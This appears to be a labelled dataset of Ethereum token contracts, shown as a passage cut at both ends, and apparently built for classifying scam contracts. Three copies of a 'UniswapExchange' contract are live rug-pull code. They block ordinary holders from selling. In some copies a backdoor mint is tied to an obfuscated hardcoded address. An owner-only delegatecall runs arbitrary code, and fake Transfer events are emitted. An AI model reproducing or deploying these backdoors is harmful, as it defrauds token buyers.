if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1128272879772349028992474526206451541022554459967));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,794 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,511 |
pragma solidity ^0.4.23;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
address newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract NUC is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function NUC() public {
symbol = "NUC";
name = "NUC Token";
decimals = 18;
_totalSupply = 21 * 1000 * 1000 * 1000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
require(to != address(0));
require(tokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
require(tokens == 0 || allowed[msg.sender][spender] == 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
require(to != address(0));
require(tokens <= balances[from]);
require(tokens <= allowed[from][msg.sender]);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function () public payable {
revert();
}
} | 1 | 3,397 |
pragma solidity 0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[_from]);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
uint cnt = _receivers.length;
uint256 amount = uint256(cnt).mul(_value);
require(cnt > 0 && cnt <= 121);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
require (_receivers[i] != 0x0);
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function batchFreeze(address[] addresses, bool freeze) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
frozenAccount[addresses[i]] = freeze;
FrozenFunds(addresses[i], freeze);
}
}
}
contract AdvancedToken is PausableToken {
string public name = "Opes Protocol";
string public symbol = "OPX";
string public version = '3.0.0';
uint8 public decimals = 18;
function AdvancedToken() {
totalSupply = 20000000000 * (10**(uint256(decimals)));
balances[msg.sender] = totalSupply;
}
function () external payable {
revert();
}
} | 1 | 4,282 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,147 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract RomanovEmpireTokenCoin is MintableToken {
string public constant name = " Romanov Empire Imperium Token";
string public constant symbol = "REI";
uint32 public constant decimals = 0;
}
contract Crowdsale is Ownable {
using SafeMath for uint;
address multisig;
address manager;
uint restrictedPercent;
address restricted;
RomanovEmpireTokenCoin public token = new RomanovEmpireTokenCoin();
uint start;
uint preIcoEnd;
uint preICOhardcap;
uint public ETHUSD;
uint public hardcapUSD;
uint public collectedFunds;
bool pause;
function Crowdsale() {
multisig = 0x1e129862b37Fe605Ef2099022F497caab7Db194c;
